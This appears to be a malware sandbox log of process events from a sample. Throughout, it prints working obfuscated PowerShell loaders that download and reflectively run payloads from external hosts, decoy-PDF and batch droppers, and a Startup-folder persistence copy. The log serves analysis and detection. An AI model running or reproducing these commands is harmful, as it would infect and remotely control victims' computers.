Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C start C:\Users\Public\Documents\privacy_policy.pdf	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C echo %username%	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C echo %username%	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C echo %username%	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\Public\Documents\privacy_policy.pdf"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1724,i,13391688068409325489,10583059356098987935,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
